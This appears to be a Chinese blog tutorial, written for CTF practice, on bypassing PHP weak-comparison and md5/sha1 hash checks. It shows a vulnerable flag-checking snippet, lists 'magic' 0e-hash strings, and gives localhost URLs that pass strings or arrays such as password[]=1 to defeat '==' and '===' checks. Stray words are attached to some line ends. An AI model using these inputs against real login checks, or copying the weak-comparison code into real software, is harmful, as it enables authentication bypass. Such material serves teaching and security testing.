目錄php
這是如下幾種繞過技術的依據git
php的「==」是值比較,不會比較類型。那麼不一樣類型的比較會直接輸出false嗎?答案是否認的,好比string型==int型解釋器會將string轉化爲int再比較。而string轉化int,等價於使用intval(string)獲得的返回值。github
看看官網對intval()的一些解釋:數組
若是字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);不然,
若是字符串以 "0" 開始,使用 8 進制(octal);不然,
將使用 10 進制 (decimal)。函數
成功時返回
var
的 integer 值,失敗時返回 0。
空的 array 返回 0,非空的 array 返回 1。網站
還有一條note:加密
Not mentioned elsewhere: intval(NULL) also returns 0.
url
還有md5()函數的一些特色:spa
md5(array())爲null.net
md5()爲null
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
$a=GET["a"]; 其中的 @ 是爲了防止沒有 $_GET['a']出現錯誤提示.
可是 @ 的代價太高, 通常都用 isset() 來判斷一下.
比較通俗的寫法是:
if (isset($_GET['a'] )) { $a = $_GET['a'] ; }else { $a = null; }
http://127.0.0.1/Php_Bug/13.php?a=240610708
不討論具體的環境的話,代碼的邏輯是想找到一個和 'QNKCDZO' 有同一hash值的字符串(hash碰撞)。但在實踐的環境下由於「==」弱類型比較和 'QNKCDZO' md5以'0e'開頭,能夠構造md5值爲0eXXXXXXXXXX
的字符串,利用弱類型的轉換,將0eXXXXXXXXXX
轉成0。
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
利用條件:使用爲加鹽的hash,使用弱等於做爲hash校驗的方式
構造:hash爲0eXXXXXXXXXX的字符串
var_dump(md5('240610708') == md5('QNKCDZO')); //true var_dump(md5('aabg7XSs') == md5('aabC9RqS')); //true var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); //true var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); //true var_dump('0010e2' == '1e3'); //true var_dump('0x1234Ab' == '1193131'); //true var_dump('0xABCdef' == ' 0xABCdef'); //true md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
url:
http://127.0.0.1/bugs/23.php?password=QNKCDZO
url:
http://127.0.0.1/bugs/23.php?password[]=1
url:
http://127.0.0.1/bugs/23.php?password=
===是比較類型和值,這時候構造「hash爲0eXXXXXXXXXX的字符串」的字符不行了。
就利用數組,PHP對數組進行hash計算都會得出null的空值。
url:
http://127.0.0.1/bugs/18.php?username[]=1&password[]=2
到這裏其實沒什麼好總結的,記住0000的md5特性和intval的特性,就會對其繞過有了基本的認識了。
記住這個,省得關鍵時候找不到:
md5('240610708'); // 0e462097431906509019562988736854 md5('QNKCDZO'); // 0e830400451993494058024219903391
感謝"git主"(滑稽)地整理:github地址
感謝官網助攻:官網手冊